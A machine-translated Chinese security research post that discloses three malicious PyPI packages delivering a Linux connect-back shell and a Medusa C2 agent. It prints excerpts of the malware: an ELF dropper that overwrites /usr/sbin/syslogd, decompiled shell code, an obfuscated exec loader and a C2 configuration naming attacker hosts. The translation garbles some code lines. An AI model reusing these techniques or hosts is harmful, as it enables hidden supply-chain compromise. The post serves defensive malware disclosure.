JFrog公开了PyPI中的3个远程访问木马
使用自动扫描工具发现PyPI恶意包

JFrog安全研究团队持续监测流行开源软件(OSS)存储库与我们的自动化工具,以检测和避免潜在的软件供应链安全的威胁。在验证了这些发现之后,团队报告任何安全漏洞或者被存储库维护者和更广泛的社区发现的恶意包。
我们之前已经分享了我们的发现恶意软件包在用于窃取信用卡数据的PyPI存储库中,以及恶意软件作者使用越来越先进的技术来逃避检测.
最近我们在PyPI存储库中披露了3个恶意软件包都是我们的自动扫描工具发现的。这些包可以使攻击者远程访问并完全控制受感染的计算机。所有报告的包都很快被PyPI维护者删除了。请继续阅读下面的内容,了解有关这些包的更多信息,并查看它们如何运行的技术分析。
PyPI报告了恶意软件包
| 包 | 有效载荷 |
| hipid | 解码一个Base32嵌入式ELF文件,它是一个连接回shell到139.162.112.74 / blog.mysecuritycamera.com |
| hpid | 解码一个Base32嵌入式ELF文件,它是一个连接回shell到139.162.112.74 / blog.mysecuritycamera.com |
| ecopower | 执行美杜莎Python RAT,回调dev-outlook.com |
选择恶意软件包的技术分析
hpid / hipid包
这两个包伪装成特洛伊木马包,据说通过“hide_process”主API“在linux中隐藏python进程”(sic),但实际上安装了一个专门针对python的connectback shellLinux目标机器。这与我们迄今为止在软件包存储库中看到的大多数恶意软件不同,这些恶意软件要么适用于多个操作系统,要么专门针对Windows。
当hide_process调用API时,Python代码调用该函数release_elf它将替换文件/usr/sbin/syslogd与嵌入式ELF木马二进制
elf_base32 = b" p5cuyrqcaeaaaaaaaaaaaaaaaaabaapqa…" elf_path = "/usr/sbin/syslogd" def release_elf(data,elf_path): try: elf_data = base64.b32decode(data) if os.path.exists(elf_path): os.remove(elf_path) with open(elf_path,"wb")as f: f.write(elf_data) os。System ("chown——reference=/usr/sbin/sysctl "+elf_path) os。System ("chmod——reference=/usr/sbin/sysctl "+elf_path) os。System ("touch -r /usr/sbin/sysctl "+elf_path)…elf_popen = Popen(elf_path+" -n",shell=True)
有趣的是,ELF作为base32字符串嵌入到Python脚本中。这种不常见的编码可能被用来逃避不期望这种编码的自动扫描器。
被丢弃的ELF非常小且不模糊,并执行以下操作-
- 连接到TCP 80端口“139.162.112.74”或“blog.mysecuritycamera.com”(以可用的为准)
- 接收命令字符串并使用
popen - 将执行结果发送回服务器
V6 = popen(a1, "r");// a1 =接收到的shell命令字符串if (v6) {while (fgets(v5, 4096LL, v6)) {v4 = strlen(v5);rc4_encrypt (__int64 v5, v4);//使用内部键"345asdflkasduf" if ((int)send(v7, v5, v4, 0LL) < 0)
ecopower包
“ecopower”包有一个奇怪的项目描述,它声称“帮助有效地利用网络设备的硬件能力”

实际上,该包甚至不包含木马功能,而是立即解码B64-XOR Python有效载荷
exec(" .join(chr(c^k) for c,k in zip(base64.b64decode(b' uf5gwxrgf…'),itertools.cycle(b'9364f27dac7fac09649ca77570a1ff60')))) .
解混淆后的Python有效负载包含美杜莎C2代理,配置为连接C2服务器“https://dev-outlook.com”-
自我。agent_config = {" Server": "https://dev-outlook.com", "Port": "443", "PostURI": "/api/v2.0/me/eventdata", "PayloadUUID": "38f8dfef-b602-4278-9aaf-7287d89ec7af", "UUID": "", "Headers": [{"name": "User-Agent", "key": "User-Agent", "value": " Mozilla/5.0 (X11;Linux x86_64;rv:10.0) Gecko/20100101 Firefox/33.0", "custom": False}], "Sleep": 10, "Jitter": 23, "KillDate": "2022-11-15", "enc_key": {"value": "aes256_hmac", "enc_key": "zB/iunx6Yo/DyAsosf9JA14S/A3m1kHl4UsNmMq5SEE=", "dec_key": "zB/iunx6Yo/DyAsosf9JA14S/A3m1kHl4UsNmMq5SEE="}, "ExchChk": "T", "GetURI": "/api/v2.0/me/calendarview", "GetParam": "getevent", "ProxyHost": "" "", "ProxyUser": "" ", "ProxyPass": "" ", "ProxyPort": "",}
Medusa C2代理将受感染机器的完全控制权交给攻击者,允许任意下载和执行,甚至更高级的功能,例如将Python模块直接加载到内存中(以逃避磁盘扫描检测工具)。
与JFrog安全研究保持同步
关注JFrog安全研究团队的最新发现和技术更新安全研究网站并在推特上@JFrogSecurity.